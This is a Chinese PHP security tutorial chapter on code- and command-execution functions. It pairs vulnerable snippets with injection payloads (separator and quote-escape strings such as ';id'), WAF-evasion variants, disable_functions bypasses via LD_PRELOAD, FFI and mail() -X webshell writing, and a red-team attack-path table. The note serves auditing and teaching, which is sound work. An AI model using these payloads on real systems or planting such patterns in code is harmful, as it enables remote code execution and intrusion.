目录


一、代码执行函数

代码执行 = 把字符串当 PHP 代码 执行。

eval

<?php
eval($_GET['code']);       // 直接执行 PHP 代码
eval("echo 1+1;");
?>
特性说明
本质语言结构(不是函数),无返回值
传参必须是合法 PHP 代码字符串,自带分号
绕过黑名单eval 无法用变量函数/字符串拼接直接调用(它是语言结构)
<?php
// eval 的常见变形(WAF 检测 eval 时)
eval("\x65\x63\x68\x6f\x20\x68\x69;");   // hex 解码后执行
$a = 'e'.'v'.'a'.'l'; $a("phpinfo();");  // 字符串拼接构造函数名(PHP7 前可行)
?>

PHP 7+ 中 eval 是语言结构,call_user_func('eval', ...) 会失败;变形调用主要针对正则黑名单。

assert

<?php
assert($_GET['code']);      // PHP 7 默认可执行字符串代码
assert("system('id')");     // 字符串形式
?>
版本行为
PHP 5.xassert('phpinfo()') 直接执行字符串
PHP 7.0-7.2assert 是函数,字符串可执行(zend.assertions=1 时)
PHP 7.2+字符串执行被标记弃用,assert 是函数,可用变量函数调用
PHP 8assert 变为语言结构,字符串不再执行代码
<?php
// PHP7 时代的经典 RCE
// ?code=system('id')
// 过滤 eval/system 时常用 assert 绕过
?>

create_function(PHP 7 已移除)

<?php
// PHP 5.x:create_function 动态创建匿名函数
$f = create_function('$x', 'return '.$_GET['code'].';');
// code=system('id') → 拼接进函数体 → 执行
?>

回调类函数(callable 型)

<?php
// 任意可回调参数 + 用户可控 → RCE
call_user_func($_GET['f'], $_GET['arg']);   // f=system&arg=id
array_map($_GET['f'], array($_GET['arg']));
usort($arr, $_GET['f']);
preg_replace("/x/e", $_GET['code'], "x");   // 见三节
?>

二、命令执行函数

命令执行 = 把字符串交给 操作系统 shell 执行。

常用函数

<?php
system("id");            // 执行并直接输出
exec("id");              // 只返回最后一行
shell_exec("id");        // 返回全部输出
passthru("id");          // 直接输出原始二进制
`id`;                    // 反引号 = shell_exec
popen("id", "r");        // 进程管道
proc_open(...);          // 高级进程控制
?>
函数输出方式审计特征
system()直接打印system($cmd)
exec()返回末行exec($cmd, $out)
shell_exec()返回全文反引号 `$cmd`
passthru()原始输出二进制场景
popen()流句柄popen($cmd,"r")

典型漏洞代码

<?php
// 最常见:直接拼接
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
// ?ip=127.0.0.1;id           → 分号注入
// ?ip=127.0.0.1|id           → 管道
// ?ip=127.0.0.1%0aid         → 换行
?>
<?php
// 半过滤:只过滤部分字符
$ip = str_replace(";", "", $_GET['ip']);
system("ping -c 1 " . $ip);
// ?ip=127.0.0.1%0aid         → 换行符绕过
// ?ip=127.0.0.1||id          → 双管道
// ?ip=127.0.0.1%26%26id      → && 编码绕过
?>

命令注入分隔符

分隔符作用URL 编码
;顺序执行%3b
|管道(后命令输出走管道)%7c
||前一失败才执行%7c%7c
&&前一成功才执行%26%26
\n换行,多数 shell 等同分号%0a
`反引号内命令替换直接传
$()命令替换直接传

三、preg_replace与e修饰符

e 修饰符(PHP 5.5 弃用,7.0 移除)

<?php
// PHP 5.x:/e 把替换串当 PHP 代码执行
preg_replace("/x/e", $_GET['code'], "x");
// ?code=system('id')
?>
版本状态
PHP < 5.5可用,直接 RCE
PHP 5.5+弃用告警
PHP 7.0+移除,/e 不再生效

现代替代:preg_replace_callback

<?php
// 现代写法用回调,但回调参数可控同样危险
preg_replace_callback("/x/", $_GET['cb'], "x");
// 若 cb 为恶意函数名(system 等),配合捕获组参数
?>

双引号回引问题

<?php
// 即使没有 /e,替换串里的 ${...} 在双引号中可执行
preg_replace("/x/e", "\${system('id')}", "x");   // 老版本经典
?>

审计:搜索 preg_replace 时注意 /e 修饰符与用户可控的替换串。


四、变量函数与动态调用

变量函数

<?php
$a = $_GET['f'];        // f=system
$a($_GET['c']);         // system($_GET['c']) → RCE
?>

call_user_func 系列

<?php
call_user_func($_GET['f'], $_GET['a']);
call_user_func_array($_GET['f'], array($_GET['a']));
?>

字符串拼接构造函数名

<?php
// 绕过函数名黑名单(正则匹配 "system" 时)
$f = "sys" . "tem";
$f("id");
?>

PHP 7+ 的可变函数限制

函数能否变量调用说明
system/exec/shell_exec普通函数
assert能(7.x)PHP 8 变语言结构后不能
eval不能语言结构
exit/die不能语言结构
include/require不能语言结构
echo/print不能语言结构
isset/empty不能语言结构

五、命令注入与拼接

危险拼接模式

模式示例注入手法
直接拼接system("ls " . $dir); | &&
引号包裹system("grep '$k' f")闭合引号 ';id;'
双引号包裹system("echo \"$v\"")";id;"
命令替换system("cat $f")$(id) 反引号
管道参数system("echo x | $cmd")直接注入

引号逃逸案例

<?php
// 漏洞代码
system("grep '" . $_GET['k'] . "' /var/log/app.log");
// ?k=x';id;'
// 实际执行: grep 'x';id;' /var/log/app.log → id 被当作新命令执行
?>

白名单函数的参数注入

<?php
// 允许 base64 解码,参数可控
shell_exec("echo " . base64_decode($_GET['b64']));
// b64 解码后含 ;id; → 注入
?>

六、disable_functions与绕过思路

禁用机制

; php.ini 或配置
disable_functions = system,exec,passthru,shell_exec,popen,proc_open
被禁用后依然可用的命令执行入口
直接命令函数pcntl_exec()mail() + -X 参数
mail() 注入mail("", "", "", "", "-X /tmp/shell.php") 写文件
脚本引擎FFI::cdef()(PHP 7.4+,需 ffi.enable=preload
PHP 内置服务SplFileObject 配合流封装器(极少)
扩展函数imap_open()(老版本参数注入 RCE)
LD_PRELOADputenv("LD_PRELOAD=/tmp/x.so") + 触发子进程(mail/error_log)
反序列化+原生类php_filter 链、SplFileObjectSoapClient 等原生类利用

LD_PRELOAD 思路(经典)

<?php
// 1. 写 C 代码编译成 .so(上传或通过可写点)
// 2. 触发子进程执行(mail()/error_log 会 fork 进程)
putenv("LD_PRELOAD=/tmp/evil.so");
mail("a@b.c", "", "");   // 触发 fork → 加载 evil.so → 执行 system
?>

FFI 思路(PHP 7.4+)

<?php
$ffi = FFI::cdef("int system(const char *);", "libc.so.6");
$ffi->system("id");
// 需要 ffi.enable=preload 或 CLI 模式,条件苛刻但存在
?>

disable_functions 绕过是 WebShell 场景的进阶内容,详见 06 章与 权限提升章节。核心原则:函数被禁不代表执行被禁,找未禁的执行入口


七、危险函数速查表

类别函数利用方式
代码执行eval()直接执行 PHP 代码
代码执行assert()PHP7 字符串执行
代码执行create_function()PHP5 动态函数
代码执行call_user_func*()回调可控
代码执行preg_replace /ePHP5 替换串执行
命令执行system()输出
命令执行exec()末行返回
命令执行shell_exec()全文返回
命令执行` 反引号shell_exec 别名
命令执行passthru()原始输出
命令执行popen()/proc_open()管道
文件包含include/require/include_onceLFI/RFI(见 05 章)
文件读取file_get_contents/fopen/readfile任意文件读取
文件写入file_put_contents/fwrite写 WebShell
反序列化unserialize()对象注入(见 07 章)
删除unlink()破坏
数据库mysql_query/mysqli_querySQLi(配合字符串拼接)
上传move_uploaded_file()上传绕过(见 06 章)

八、红队视角总结

场景攻击路径
发现 eval($_GET[x])直接打 PHP 代码,注意分号
发现 system($cmd)分隔符注入:; | %0a $()
过滤 eval/system 关键字SYSTEM() 大小写、字符串拼接、assert
PHP5 站点preg_replace /ecreate_function
PHP7 站点assert 字符串执行、变量函数
函数被 disableLD_PRELOAD、FFI、mail() 注入、原生类链
只有 include进 05 章:filter/input/日志包含

审计搜索关键词evalassertsystemexecshell_execpassthrupopen`preg_replacecreate_functioncall_user_funcincluderequireunserialize


返回 PHP 总目录 | 前端基础总目录